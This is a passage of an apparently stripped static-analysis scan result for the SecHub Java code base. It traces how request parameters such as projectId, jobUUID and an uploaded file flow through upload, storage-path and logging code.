jobStorage = storageService.getJobStorage(projectId, jobUUID); + + + + + com/daimler/sechub/domain/schedule/SchedulerUploadService.java + 48 + 3 + 15 + jobStorage + + 10 + + + 48 + jobStorage.store(SOURCECODE_ZIP, file); + + + + + com/daimler/sechub/sharedkernel/storage/JobStorage.java + 70 + 36 + 16 + getPathToFile + + 1 + + + 70 + Path pathToFile = getPathToFile(fileName); + + + + + com/daimler/sechub/sharedkernel/storage/JobStorage.java + 70 + 36 + 17 + getPathToFile + + 1 + + + 70 + Path pathToFile = getPathToFile(fileName); + + + + + com/daimler/sechub/domain/schedule/SchedulerUploadService.java + 48 + 3 + 18 + jobStorage + + 10 + + + 48 + jobStorage.store(SOURCECODE_ZIP, file); + + + + + com/daimler/sechub/domain/schedule/SchedulerUploadService.java + 51 + 35 + 19 + jobStorage + + 10 + + + 51 + assertCheckSumCorrect(checkSum, jobStorage); + + + + + com/daimler/sechub/domain/schedule/SchedulerUploadService.java + 56 + 65 + 20 + jobStorage + + 10 + + + 56 + private void assertCheckSumCorrect(String checkSum, JobStorage jobStorage) { + + + + + com/daimler/sechub/domain/schedule/SchedulerUploadService.java + 57 + 60 + 21 + jobStorage + + 10 + + + 57 + if (! checksumSHA256Service.hasCorrectChecksum(checkSum, jobStorage.getAbsolutePath(SOURCECODE_ZIP))) { + + + + + com/daimler/sechub/sharedkernel/storage/JobStorage.java + 140 + 23 + 22 + getPathToFile + + 1 + + + 140 + return getPathToFile(fileName).toFile().getAbsolutePath(); + + + + + com/daimler/sechub/sharedkernel/storage/JobStorage.java + 140 + 23 + 23 + getPathToFile + + 1 + + + 140 + return getPathToFile(fileName).toFile().getAbsolutePath(); + + + + + com/daimler/sechub/domain/schedule/SchedulerUploadService.java + 57 + 86 + 24 + getAbsolutePath + + 1 + + + 57 + if (! checksumSHA256Service.hasCorrectChecksum(checkSum, jobStorage.getAbsolutePath(SOURCECODE_ZIP))) { + + + + + com/daimler/sechub/domain/schedule/SchedulerUploadService.java + 59 + 4 + 25 + jobStorage + + 10 + + + 59 + jobStorage.deleteAll(); + + + + + com/daimler/sechub/sharedkernel/storage/JobStorage.java + 107 + 9 + 26 + path + + 4 + + + 107 + if (! path.toFile().exists()) { + + + + + com/daimler/sechub/sharedkernel/storage/JobStorage.java + 112 + 37 + 27 + path + + 4 + + + 112 + LOG.info("deleted all inside {}",path); + + + + + com/daimler/sechub/sharedkernel/storage/JobStorage.java + 112 + 12 + 28 + info + + 1 + + + 112 + LOG.info("deleted all inside {}",path); + + + + + + + + + com/daimler/sechub/domain/schedule/SchedulerRestController.java + 78 + 39 + 1 + projectId + + 9 + + + 78 + @PathVariable("projectId") String projectId, + + + + + com/daimler/sechub/domain/schedule/SchedulerRestController.java + 83 + 34 + 2 + projectId + + 9 + + + 83 + uploadService.uploadSourceCode(projectId,jobUUID,file,checkSum); + + + + + com/daimler/sechub/domain/schedule/SchedulerUploadService.java + 38 + 38 + 3 + projectId + + 9 + + + 38 + public void uploadSourceCode(String projectId, UUID jobUUID, MultipartFile file, String checkSum) { + + + + + com/daimler/sechub/domain/schedule/SchedulerUploadService.java + 47 + 56 + 4 + projectId + + 9 + + + 47 + JobStorage jobStorage = storageService.getJobStorage(projectId, jobUUID); + + + + + com/daimler/sechub/sharedkernel/storage/SharedVolumeStorageService.java + 21 + 44 + 5 + projectId + + 9 + + + 21 + public JobStorage getJobStorage(String projectId, UUID jobUUID) { + + + + + com/daimler/sechub/sharedkernel/storage/SharedVolumeStorageService.java + 22 + 42 + 6 + projectId + + 9 + + + 22 + return new JobStorage(rootLocation, projectId,jobUUID); + + + + + com/daimler/sechub/sharedkernel/storage/JobStorage.java + 35 + 46 + 7 + projectId + + 9 + + + 35 + public JobStorage(Path rootLocation, String projectId, UUID jobUUID) { + + + + + com/daimler/sechub/sharedkernel/storage/JobStorage.java + 43 + 36 + 8 + projectId + + 9 + + + 43 + this.path = rootLocation.resolve(projectId).resolve(jobUUID.toString()); + + + + + com/daimler/sechub/sharedkernel/storage/JobStorage.java + 43 + 35 + 9 + resolve + + 1 + + + 43 + this.path = rootLocation.resolve(projectId).resolve(jobUUID.toString()); + + + + + com/daimler/sechub/sharedkernel/storage/JobStorage.java + 43 + 54 + 10 + resolve + + 1 + + + 43 + this.path = rootLocation.resolve(projectId).resolve(jobUUID.toString()); + + + + + com/daimler/sechub/sharedkernel/storage/JobStorage.java + 43 + 7 + 11 + path + + 1 + + + 43 + this.path = rootLocation.resolve(projectId).resolve(jobUUID.toString()); + + + + + com/daimler/sechub/sharedkernel/storage/SharedVolumeStorageService.java + 22 + 13 + 12 + JobStorage + + 3 + + + 22 + return new JobStorage(rootLocation, projectId,jobUUID); + + + + + com/daimler/sechub/domain/schedule/SchedulerUploadService.java + 47 + 55 + 13 + getJobStorage + + 1 + + + 47 + JobStorage jobStorage = storageService.getJobStorage(projectId, jobUUID); + + + + + com/daimler/sechub/domain/schedule/SchedulerUploadService.java + 47 + 14 + 14 + jobStorage + + 10 + + + 47 + JobStorage jobStorage = storageService.getJobStorage(projectId, jobUUID); + + + + + com/daimler/sechub/domain/schedule/SchedulerUploadService.java + 48 + 19 + 15 + store + + 1 + + + 48 + jobStorage.store(SOURCECODE_ZIP, file); + + + + + com/daimler/sechub/sharedkernel/storage/JobStorage.java + 66 + 4 + 16 + LOG + + 3 + + + 66 + LOG.info("job:{}: storing {} as {} in project {}", jobUUID, originFileName, fileName, projectId); + + + + + com/daimler/sechub/sharedkernel/storage/JobStorage.java + 70 + 36 + 17 + getPathToFile + + 1 + + + 70 + Path pathToFile = getPathToFile(fileName); + + + + + com/daimler/sechub/sharedkernel/storage/JobStorage.java + 70 + 36 + 18 + getPathToFile + + 1 + + + 70 + Path pathToFile = getPathToFile(fileName); + + + + + com/daimler/sechub/sharedkernel/storage/JobStorage.java + 72 + 5 + 19 + LOG + + 3 + + + 72 + LOG.debug("Stored:{} at {}", fileName, pathToFile); + + + + + com/daimler/sechub/sharedkernel/storage/JobStorage.java + 74 + 5 + 20 + LOG + + 3 + + + 74 + LOG.debug("Uploaded file exceeds maximum file size limit." + e); + + + + + com/daimler/sechub/sharedkernel/storage/JobStorage.java + 74 + 14 + 21 + debug + + 1 + + + 74 + LOG.debug("Uploaded file exceeds maximum file size limit." + e); + + + + + + + + + com/daimler/sechub/domain/schedule/SchedulerRestController.java + 79 + 35 + 1 + jobUUID + + 7 + + + 79 + @PathVariable("jobUUID") UUID jobUUID, + + + + + com/daimler/sechub/domain/schedule/SchedulerRestController.java + 83 + 44 + 2 + jobUUID + + 7 + + + 83 + uploadService.uploadSourceCode(projectId,jobUUID,file,checkSum); + + + + + com/daimler/sechub/domain/schedule/SchedulerUploadService.java + 38 + 54 + 3 + jobUUID + + 7 + + + 38 + public void uploadSourceCode(String projectId, UUID jobUUID, MultipartFile file, String checkSum) { + + + + + com/daimler/sechub/domain/schedule/SchedulerUploadService.java + 47 + 67 + 4 + jobUUID + + 7 + + + 47 + JobStorage jobStorage = storageService.getJobStorage(projectId, jobUUID); + + + + + com/daimler/sechub/sharedkernel/storage/SharedVolumeStorageService.java + 21 + 60 + 5 + jobUUID + + 7 + + + 21 + public JobStorage getJobStorage(String projectId, UUID jobUUID) { + + + + + com/daimler/sechub/sharedkernel/storage/SharedVolumeStorageService.java + 22 + 52 + 6 + jobUUID + + 7 + + + 22 + return new JobStorage(rootLocation, projectId,jobUUID); + + + + + com/daimler/sechub/sharedkernel/storage/JobStorage.java + 35 + 62 + 7 + jobUUID + + 7 + + + 35 + public JobStorage(Path rootLocation, String projectId, UUID jobUUID) { + + + + + com/daimler/sechub/sharedkernel/storage/JobStorage.java + 43 + 55 + 8 + jobUUID + + 7 + + + 43 + this.path = rootLocation.resolve(projectId).resolve(jobUUID.toString()); + + + + + com/daimler/sechub/sharedkernel/storage/JobStorage.java + 43 + 71 + 9 + toString + + 1 + + + 43 + this.path = rootLocation.resolve(projectId).resolve(jobUUID.toString()); + + + + + com/daimler/sechub/sharedkernel/storage/JobStorage.java + 43 + 54 + 10 + resolve + + 1 + + + 43 + this.path = rootLocation.resolve(projectId).resolve(jobUUID.toString()); + + + + + com/daimler/sechub/sharedkernel/storage/JobStorage.java + 43 + 7 + 11 + path + + 1 + + + 43 + this.path = rootLocation.resolve(projectId).resolve(jobUUID.toString()); + + + + + com/daimler/sechub/sharedkernel/storage/SharedVolumeStorageService.java + 22 + 13 + 12 + JobStorage + + 3 + + + 22 + return new JobStorage(rootLocation, projectId,jobUUID); + + + + + com/daimler/sechub/domain/schedule/SchedulerUploadService.java + 47 + 55 + 13 + getJobStorage + + 1 + + + 47 + JobStorage jobStorage = storageService.getJobStorage(projectId, jobUUID); + + + + + com/daimler/sechub/domain/schedule/SchedulerUploadService.java + 47 + 14 + 14 + jobStorage + + 10 + + + 47 + JobStorage jobStorage = storageService.getJobStorage(projectId, jobUUID); + + + + + com/daimler/sechub/domain/schedule/SchedulerUploadService.java + 48 + 19 + 15 + store + + 1 + + + 48 + jobStorage.store(SOURCECODE_ZIP, file); + + + + + com/daimler/sechub/sharedkernel/storage/JobStorage.java + 66 + 4 + 16 + LOG + + 3 + + + 66 + LOG.info("job:{}: storing {} as {} in project {}", jobUUID, originFileName, fileName, projectId); + + + + + com/daimler/sechub/sharedkernel/storage/JobStorage.java + 70 + 36 + 17 + getPathToFile + + 1 + + + 70 + Path pathToFile = getPathToFile(fileName); + + + + + com/daimler/sechub/sharedkernel/storage/JobStorage.java + 70 + 36 + 18 + getPathToFile + + 1 + + + 70 + Path pathToFile = getPathToFile(fileName); + + + + + com/daimler/sechub/sharedkernel/storage/JobStorage.java + 72 + 5 + 19 + LOG + + 3 + + + 72 + LOG.debug("Stored:{} at {}", fileName, pathToFile); + + + + + com/daimler/sechub/sharedkernel/storage/JobStorage.java + 74 + 5 + 20 + LOG + + 3 + + + 74 + LOG.debug("Uploaded file exceeds maximum file size limit." + e); + + + + + com/daimler/sechub/sharedkernel/storage/JobStorage.java + 74 + 14 + 21 + debug + + 1 + + + 74 + LOG.debug("Uploaded file exceeds maximum file size limit." + e); + + + + + + + + + com/daimler/sechub/domain/schedule/SchedulerRestController.java + 78 + 39 + 1 + projectId + + 9 + + + 78 + @PathVariable("projectId") String projectId, + + + + + com/daimler/sechub/domain/schedule/SchedulerRestController.java + 83 + 34 + 2 + projectId + + 9 + + + 83 + uploadService.uploadSourceCode(projectId,jobUUID,file,checkSum); + + + + + com/daimler/sechub/domain/schedule/SchedulerUploadService.java + 38 + 38 + 3 + projectId + + 9 + + + 38 + public void uploadSourceCode(String projectId, UUID jobUUID, MultipartFile file, String checkSum) { + + + + + com/daimler/sechub/domain/schedule/SchedulerUploadService.java + 47 + 56 + 4 + projectId + + 9 + + + 47 + JobStorage jobStorage = storageService.getJobStorage(projectId, jobUUID); + + + + + com/daimler/sechub/sharedkernel/storage/SharedVolumeStorageService.java + 21 + 44 + 5 + projectId + + 9 + + + 21 + public JobStorage getJobStorage(String projectId, UUID jobUUID) { + + + + + com/daimler/sechub/sharedkernel/storage/SharedVolumeStorageService.java + 22 + 42 + 6 + projectId + + 9 + + + 22 + return new JobStorage(rootLocation, projectId,jobUUID); + + + + + com/daimler/sechub/sharedkernel/storage/JobStorage.java + 35 + 46 + 7 + projectId + + 9 + + + 35 + public JobStorage(Path rootLocation, String projectId, UUID jobUUID) { + + + + + com/daimler/sechub/sharedkernel/storage/JobStorage.java + 43 + 36 + 8 + projectId + + 9 + + + 43 + this.path = rootLocation.resolve(projectId).resolve(jobUUID.toString()); + + + + + com/daimler/sechub/sharedkernel/storage/JobStorage.java + 43 + 35 + 9 + resolve + + 1 + + + 43 + this.path = rootLocation.resolve(projectId).resolve(jobUUID.toString()); + + + + + com/daimler/sechub/sharedkernel/storage/JobStorage.java + 43 + 54 + 10 + resolve + + 1 + + + 43 + this.path = rootLocation.resolve(projectId).resolve(jobUUID.toString()); + + + + + com/daimler/sechub/sharedkernel/storage/JobStorage.java + 43 + 7 + 11 + path + + 1 + + + 43 + this.path = rootLocation.resolve(projectId).resolve(jobUUID.toString()); + + + + + com/daimler/sechub/sharedkernel/storage/SharedVolumeStorageService.java + 22 + 13 + 12 + JobStorage + + 3 + + + 22 + return new JobStorage(rootLocation, projectId,jobUUID); + + + + + com/daimler/sechub/domain/schedule/SchedulerUploadService.java + 47 + 55 + 13 + getJobStorage + + 1 + + + 47 + JobStorage jobStorage = storageService.getJobStorage(projectId, jobUUID); + + + + + com/daimler/sechub/domain/schedule/SchedulerUploadService.java + 47 + 14 + 14 + jobStorage + + 10 + + + 47 + JobStorage jobStorage = storageService.getJobStorage(projectId, jobUUID); + + + + + com/daimler/sechub/domain/schedule/SchedulerUploadService.java + 48 + 19 + 15 + store + + 1 + + + 48 + jobStorage.store(SOURCECODE_ZIP, file); + + + + + com/daimler/sechub/sharedkernel/storage/JobStorage.java + 66 + 4 + 16 + LOG + + 3 + + + 66 + LOG.info("job:{}: storing {} as {} in project {}", jobUUID, originFileName, fileName, projectId); + + + + + com/daimler/sechub/sharedkernel/storage/JobStorage.java + 70 + 36 + 17 + getPathToFile + + 1 + + + 70 + Path pathToFile = getPathToFile(fileName); + + + + + com/daimler/sechub/sharedkernel/storage/JobStorage.java + 70 + 36 + 18 + getPathToFile + + 1 + + + 70 + Path pathToFile = getPathToFile(fileName); + + + + + com/daimler/sechub/sharedkernel/storage/JobStorage.java + 72 + 5 + 19 + LOG + + 3 + + + 72 + LOG.debug("Stored:{} at {}", fileName, pathToFile); + + + + + com/daimler/sechub/sharedkernel/storage/JobStorage.java + 72 + 14 + 20 + debug + + 1 + + + 72 + LOG.debug("Stored:{} at {}", fileName, pathToFile); + + + + + + + + + com/daimler/sechub/domain/schedule/SchedulerRestController.java + 79 + 35 + 1 + jobUUID + + 7 + + + 79 + @PathVariable("jobUUID") UUID jobUUID, + + + + + com/daimler/sechub/domain/schedule/SchedulerRestController.java + 83 + 44 + 2 + jobUUID + + 7 + + + 83 + uploadService.uploadSourceCode(projectId,jobUUID,file,checkSum); + + + + + com/daimler/sechub/domain/schedule/SchedulerUploadService.java + 38 + 54 + 3 + jobUUID + + 7 + + + 38 + public void uploadSourceCode(String projectId, UUID jobUUID, MultipartFile file, String checkSum) { + + + + + com/daimler/sechub/domain/schedule/SchedulerUploadService.java + 47 + 67 + 4 + jobUUID + + 7 + + + 47 + JobStorage jobStorage = storageService.getJobStorage(projectId, jobUUID); + + + + + com/daimler/sechub/sharedkernel/storage/SharedVolumeStorageService.java + 21 + 60 + 5 + jobUUID + + 7 + + + 21 + public JobStorage getJobStorage(String projectId, UUID jobUUID) { + + + + + com/daimler/sechub/sharedkernel/storage/SharedVolumeStorageService.java + 22 + 52 + 6 + jobUUID + + 7 + + + 22 + return new JobStorage(rootLocation, projectId,jobUUID); + + + + + com/daimler/sechub/sharedkernel/storage/JobStorage.java + 35 + 62 + 7 + jobUUID + + 7 + + + 35 + public JobStorage(Path rootLocation, String projectId, UUID jobUUID) { + + + + + com/daimler/sechub/sharedkernel/storage/JobStorage.java + 43 + 55 + 8 + jobUUID + + 7 + + + 43 + this.path = rootLocation.resolve(projectId).resolve(jobUUID.toString()); + + + + + com/daimler/sechub/sharedkernel/storage/JobStorage.java + 43 + 71 + 9 + toString + + 1 + + + 43 + this.path = rootLocation.resolve(projectId).resolve(jobUUID.toString()); + + + + + com/daimler/sechub/sharedkernel/storage/JobStorage.java + 43 + 54 + 10 + resolve + + 1 + + + 43 + this.path = rootLocation.resolve(projectId).resolve(jobUUID.toString()); + + + + + com/daimler/sechub/sharedkernel/storage/JobStorage.java + 43 + 7 + 11 + path + + 1 + + + 43 + this.path = rootLocation.resolve(projectId).resolve(jobUUID.toString()); + + + + + com/daimler/sechub/sharedkernel/storage/SharedVolumeStorageService.java + 22 + 13 + 12 + JobStorage + + 3 + + + 22 + return new JobStorage(rootLocation, projectId,jobUUID); + + + + + com/daimler/sechub/domain/schedule/SchedulerUploadService.java + 47 + 55 + 13 + getJobStorage + + 1 + + + 47 + JobStorage jobStorage = storageService.getJobStorage(projectId, jobUUID); + + + + + com/daimler/sechub/domain/schedule/SchedulerUploadService.java + 47 + 14 + 14 + jobStorage + + 10 + + + 47 + JobStorage jobStorage = storageService.getJobStorage(projectId, jobUUID); + + + + + com/daimler/sechub/domain/schedule/SchedulerUploadService.java + 48 + 19 + 15 + store + + 1 + + + 48 + jobStorage.store(SOURCECODE_ZIP, file); + + + + + com/daimler/sechub/sharedkernel/storage/JobStorage.java + 66 + 4 + 16 + LOG + + 3 + + + 66 + LOG.info("job:{}: storing {} as {} in project {}", jobUUID, originFileName, fileName, projectId); + + + + + com/daimler/sechub/sharedkernel/storage/JobStorage.java + 70 + 36 + 17 + getPathToFile + + 1 + + + 70 + Path pathToFile = getPathToFile(fileName); + + + + + com/daimler/sechub/sharedkernel/storage/JobStorage.java + 70 + 36 + 18 + getPathToFile + + 1 + + + 70 + Path pathToFile = getPathToFile(fileName); + + + + + com/daimler/sechub/sharedkernel/storage/JobStorage.java + 72 + 5 + 19 + LOG + + 3 + + + 72 + LOG.debug("Stored:{} at {}", fileName, pathToFile); + + + + + com/daimler/sechub/sharedkernel/storage/JobStorage.java + 72 + 14 + 20 + debug + + 1 + + + 72 + LOG.debug("Stored:{} at {}", fileName, pathToFile); + + + + + + + + + com/daimler/sechub/domain/schedule/SchedulerRestController.java + 78 + 39 + 1 + projectId + + 9 + + + 78 + @PathVariable("projectId") String projectId, + + + + + com/daimler/sechub/domain/schedule/SchedulerRestController.java + 83 + 34 + 2 + projectId + + 9 + + + 83 + uploadService.uploadSourceCode(projectId,jobUUID,file,checkSum); + + + + + com/daimler/sechub/domain/schedule/SchedulerUploadService.java + 38 + 38 + 3 + projectId + + 9 + + + 38 + public void uploadSourceCode(String projectId, UUID jobUUID, MultipartFile file, String checkSum) { + + + + + com/daimler/sechub/domain/schedule/SchedulerUploadService.java + 47 + 56 + 4 + projectId + + 9 + + + 47 + JobStorage jobStorage = storageService.getJobStorage(projectId, jobUUID); + + + + + com/daimler/sechub/sharedkernel/storage/SharedVolumeStorageService.java + 21 + 44 + 5 + projectId + + 9 + + + 21 + public JobStorage getJobStorage(String projectId, UUID jobUUID) { + + + + + com/daimler/sechub/sharedkernel/storage/SharedVolumeStorageService.java + 22 + 42 + 6 + projectId + + 9 + + + 22 + return new JobStorage(rootLocation, projectId,jobUUID); + + + + + com/daimler/sechub/sharedkernel/storage/JobStorage.java + 35 + 46 + 7 + projectId + + 9 + + + 35 + public JobStorage(Path rootLocation, String projectId, UUID jobUUID) { + + + + + com/daimler/sechub/sharedkernel/storage/JobStorage.java + 43 + 36 + 8 + projectId + + 9 + + + 43 + this.path = rootLocation.resolve(projectId).resolve(jobUUID.toString()); + + + + + com/daimler/sechub/sharedkernel/storage/JobStorage.java + 43 + 35 + 9 + resolve + + 1 + + + 43 + this.path = rootLocation.resolve(projectId).resolve(jobUUID.toString()); + + + + + com/daimler/sechub/sharedkernel/storage/JobStorage.java + 43 + 54 + 10 + resolve + + 1 + + + 43 + this.path = rootLocation.resolve(projectId).resolve(jobUUID.toString()); + + + + + com/daimler/sechub/sharedkernel/storage/JobStorage.java + 43 + 7 + 11 + path + + 1 + + + 43 + this.path = rootLocation.resolve(projectId).resolve(jobUUID.toString()); + + + + + com/daimler/sechub/sharedkernel/storage/SharedVolumeStorageService.java + 22 + 13 + 12 + JobStorage + + 3 + + + 22 + return new JobStorage(rootLocation, projectId,jobUUID); + + + + + com/daimler/sechub/domain/schedule/SchedulerUploadService.java + 47 + 55 + 13 + getJobStorage + + 1 + + + 47 + JobStorage jobStorage = storageService.getJobStorage(projectId, jobUUID); + + + + + com/daimler/sechub/domain/schedule/SchedulerUploadService.java + 47 + 14 + 14 + jobStorage + + 10 + + + 47 + JobStorage jobStorage = storageService.getJobStorage(projectId, jobUUID); + + + + + com/daimler/sechub/domain/schedule/SchedulerUploadService.java + 48 + 19 + 15 + store + + 1 + + + 48 + jobStorage.store(SOURCECODE_ZIP, file); + + + + + com/daimler/sechub/sharedkernel/storage/JobStorage.java + 66 + 4 + 16 + LOG + + 3 + + + 66 + LOG.info("job:{}: storing {} as {} in project {}", jobUUID, originFileName, fileName, projectId); + + + + + com/daimler/sechub/sharedkernel/storage/JobStorage.java + 66 + 12 + 17 + info + + 1 + + + 66 + LOG.info("job:{}: storing {} as {} in project {}", jobUUID, originFileName, fileName, projectId); + + + + + + + + + com/daimler/sechub/domain/schedule/SchedulerRestController.java + 79 + 35 + 1 + jobUUID + + 7 + + + 79 + @PathVariable("jobUUID") UUID jobUUID, + + + + + com/daimler/sechub/domain/schedule/SchedulerRestController.java + 83 + 44 + 2 + jobUUID + + 7 + + + 83 + uploadService.uploadSourceCode(projectId,jobUUID,file,checkSum); + + + + + com/daimler/sechub/domain/schedule/SchedulerUploadService.java + 38 + 54 + 3 + jobUUID + + 7 + + + 38 + public void uploadSourceCode(String projectId, UUID jobUUID, MultipartFile file, String checkSum) { + + + + + com/daimler/sechub/domain/schedule/SchedulerUploadService.java + 47 + 67 + 4 + jobUUID + + 7 + + + 47 + JobStorage jobStorage = storageService.getJobStorage(projectId, jobUUID); + + + + + com/daimler/sechub/sharedkernel/storage/SharedVolumeStorageService.java + 21 + 60 + 5 + jobUUID + + 7 + + + 21 + public JobStorage getJobStorage(String projectId, UUID jobUUID) { + + + + + com/daimler/sechub/sharedkernel/storage/SharedVolumeStorageService.java + 22 + 52 + 6 + jobUUID + + 7 + + + 22 + return new JobStorage(rootLocation, projectId,jobUUID); + + + + + com/daimler/sechub/sharedkernel/storage/JobStorage.java + 35 + 62 + 7 + jobUUID + + 7 + + + 35 + public JobStorage(Path rootLocation, String projectId, UUID jobUUID) { + + + + + com/daimler/sechub/sharedkernel/storage/JobStorage.java + 43 + 55 + 8 + jobUUID + + 7 + + + 43 + this.path = rootLocation.resolve(projectId).resolve(jobUUID.toString()); + + + + + com/daimler/sechub/sharedkernel/storage/JobStorage.java + 43 + 71 + 9 + toString + + 1 + + + 43 + this.path = rootLocation.resolve(projectId).resolve(jobUUID.toString()); + + + + + com/daimler/sechub/sharedkernel/storage/JobStorage.java + 43 + 54 + 10 + resolve + + 1 + + + 43 + this.path = rootLocation.resolve(projectId).resolve(jobUUID.toString()); + + + + + com/daimler/sechub/sharedkernel/storage/JobStorage.java + 43 + 7 + 11 + path + + 1 + + + 43 + this.path = rootLocation.resolve(projectId).resolve(jobUUID.toString()); + + + + + com/daimler/sechub/sharedkernel/storage/SharedVolumeStorageService.java + 22 + 13 + 12 + JobStorage + + 3 + + + 22 + return new JobStorage(rootLocation, projectId,jobUUID); + + + + + com/daimler/sechub/domain/schedule/SchedulerUploadService.java + 47 + 55 + 13 + getJobStorage + + 1 + + + 47 + JobStorage jobStorage = storageService.getJobStorage(projectId, jobUUID); + + + + + com/daimler/sechub/domain/schedule/SchedulerUploadService.java + 47 + 14 + 14 + jobStorage + + 10 + + + 47 + JobStorage jobStorage = storageService.getJobStorage(projectId, jobUUID); + + + + + com/daimler/sechub/domain/schedule/SchedulerUploadService.java + 48 + 19 + 15 + store + + 1 + + + 48 + jobStorage.store(SOURCECODE_ZIP, file); + + + + + com/daimler/sechub/sharedkernel/storage/JobStorage.java + 66 + 4 + 16 + LOG + + 3 + + + 66 + LOG.info("job:{}: storing {} as {} in project {}", jobUUID, originFileName, fileName, projectId); + + + + + com/daimler/sechub/sharedkernel/storage/JobStorage.java + 66 + 12 + 17 + info + + 1 + + + 66 + LOG.info("job:{}: storing {} as {} in project {}", jobUUID, originFileName, fileName, projectId); + + + + + + + + + com/daimler/sechub/domain/schedule/SchedulerRestController.java + 80 + 41 + 1 + file + + 4 + + + 80 + @RequestParam("file") MultipartFile file, + + + + + com/daimler/sechub/domain/schedule/SchedulerRestController.java + 83 + 52 + 2 + file + + 4 + + + 83 + uploadService.uploadSourceCode(projectId,jobUUID,file,checkSum); + + + + + com/daimler/sechub/domain/schedule/SchedulerUploadService.java + 38 + 77 + 3 + file + + 4 + + + 38 + public void uploadSourceCode(String projectId, UUID jobUUID, MultipartFile file, String checkSum) { + + + + + com/daimler/sechub/domain/schedule/SchedulerUploadService.java + 48 + 36 + 4 + file + + 4 + + + 48 + jobStorage.store(SOURCECODE_ZIP, file); + + + + + com/daimler/sechub/sharedkernel/storage/JobStorage.java + 47 + 51 + 5 + file + + 4 + + + 47 + public void store(String fileName, MultipartFile file) { + + + + + com/daimler/sechub/sharedkernel/storage/JobStorage.java + 56 + 8 + 6 + file + + 4 + + + 56 + if (file.isEmpty()) { + + + + + com/daimler/sechub/sharedkernel/storage/JobStorage.java + 65 + 50 + 7 + file + + 4 + + + 65 + String originFileName = StringUtils.cleanPath(file.getOriginalFilename()); + + + + + com/daimler/sechub/sharedkernel/storage/JobStorage.java + 65 + 74 + 8 + getOriginalFilename + + 1 + + + 65 + String originFileName = StringUtils.cleanPath(file.getOriginalFilename()); + + + + + com/daimler/sechub/sharedkernel/storage/JobStorage.java + 65 + 49 + 9 + cleanPath + + 1 + + + 65 + String originFileName = StringUtils.cleanPath(file.getOriginalFilename()); + + + + + com/daimler/sechub/sharedkernel/storage/JobStorage.java + 65 + 11 + 10 + originFileName + + 14 + + + 65 + String originFileName = StringUtils.cleanPath(file.getOriginalFilename()); + + + + + com/daimler/sechub/sharedkernel/storage/JobStorage.java + 66 + 64 + 11 + originFileName + + 14 + + + 66 + LOG.info("job:{}: storing {} as {} in project {}", jobUUID, originFileName, fileName, projectId); + + + + + com/daimler/sechub/sharedkernel/storage/JobStorage.java + 66 + 12 + 12 + info + + 1 + + + 66 + LOG.info("job:{}: storing {} as {} in project {}", jobUUID, originFileName, fileName, projectId); + + + + + + + + + com/daimler/sechub/domain/schedule/SchedulerRestController.java + 79 + 35 + 1 + jobUUID + + 7 + + + 79 + @PathVariable("jobUUID") UUID jobUUID, + + + + + com/daimler/sechub/domain/schedule/SchedulerRestController.java + 83 + 44 + 2 + jobUUID + + 7 + + + 83 + uploadService.uploadSourceCode(projectId,jobUUID,file,checkSum); + + + + + com/daimler/sechub/domain/schedule/SchedulerUploadService.java + 38 + 54 + 3 + jobUUID + + 7 + + + 38 + public void uploadSourceCode(String projectId, UUID jobUUID, MultipartFile file, String checkSum) { + + + + + com/daimler/sechub/domain/schedule/SchedulerUploadService.java + 53 + 46 + 4 + jobUUID + + 7 + + + 53 + LOG.info("uploaded sourcecode for job {}", jobUUID); + + + + + com/daimler/sechub/domain/schedule/SchedulerUploadService.java + 53 + 11 + 5 + info + + 1 + + + 53 + LOG.info("uploaded sourcecode for job {}", jobUUID); + + + + + + + + + com/daimler/sechub/domain/schedule/SchedulerRestController.java + 96 + 35 + 1 + jobUUID + + 7 + + + 96 + @PathVariable("jobUUID") UUID jobUUID) { + + + + + com/daimler/sechub/domain/schedule/SchedulerRestController.java + 97 + 42 + 2 + jobUUID + + 7 + + + 97 + approveJobService.approveJob(projectId,jobUUID); + + + + + com/daimler/sechub/domain/schedule/SchedulerApproveJobService.java + 30 + 48 + 3 + jobUUID + + 7 + + + 30 + public void approveJob(String projectId, UUID jobUUID) { + + + + + com/daimler/sechub/domain/schedule/SchedulerApproveJobService.java + 43 + 35 + 4 + jobUUID + + 7 + + + 43 + LOG.info("job {} now approved", jobUUID); + + + + + com/daimler/sechub/domain/schedule/SchedulerApproveJobService.java + 43 + 11 + 5 + info + + 1 + + + 43 + LOG.info("job {} now approved", jobUUID); + + + + + + + + + + + com/daimler/sechub/domain/administration/job/JobAdministrationRestController.java + 43 + 18 + 1 + path + + 4 + + + 43 + @RequestMapping(path = AdministrationAPIConstants.API_LIST_JOBS_RUNNING, method = RequestMethod.GET, produces= {MediaType.APPLICATION_JSON_UTF8_VALUE,MediaType.APPLICATION_JSON_VALUE}) + + + + + + + + + com/daimler/sechub/domain/administration/project/ProjectAdministrationRestController.java + 76 + 18 + 1 + path + + 4 + + + 76 + @RequestMapping(path = AdministrationAPIConstants.API_CREATE_PROJECT, method = RequestMethod.POST, produces= {MediaType.APPLICATION_JSON_UTF8_VALUE,MediaType.APPLICATION_JSON_VALUE}) + + + + + + + + + com/daimler/sechub/domain/administration/project/ProjectAdministrationRestController.java + 93 + 18 + 1 + path + + 4 + + + 93 + @RequestMapping(path = AdministrationAPIConstants.API_SHOW_PROJECT_DETAILS, method = RequestMethod.GET, produces= {MediaType.APPLICATION_JSON_UTF8_VALUE,MediaType.APPLICATION_JSON_VALUE}) + + + + + + + + + com/daimler/sechub/domain/administration/project/ProjectAdministrationRestController.java + 101 + 18 + 1 + path + + 4 + + + 101 + @RequestMapping(path = AdministrationAPIConstants.API_LIST_ALL_PROJECTS, method = RequestMethod.GET, produces= {MediaType.APPLICATION_JSON_UTF8_VALUE,MediaType.APPLICATION_JSON_VALUE}) + + + + + + + + + com/daimler/sechub/domain/administration/project/ProjectAdministrationRestController.java + 109 + 18 + 1 + path + + 4 + + + 109 + @RequestMapping(path = AdministrationAPIConstants.API_ASSIGN_USER_TO_PROJECT, method = RequestMethod.POST, produces= {MediaType.APPLICATION_JSON_UTF8_VALUE,MediaType.APPLICATION_JSON_VALUE}) + + + + + + + + + com/daimler/sechub/domain/administration/project/ProjectAdministrationRestController.java + 118 + 18 + 1 + path + + 4 + + + 118 + @RequestMapping(path = AdministrationAPIConstants.API_UNASSIGN_USER_TO_PROJECT, method = RequestMethod.DELETE, produces= {MediaType.APPLICATION_JSON_UTF8_VALUE,MediaType.APPLICATION_JSON_VALUE}) + + + + + + + + + com/daimler/sechub/domain/administration/project/ProjectAdministrationRestController.java + 127 + 18 + 1 + path + + 4 + + + 127 + @RequestMapping(path = AdministrationAPIConstants.API_DELETE_PROJECT, method = RequestMethod.DELETE, produces= 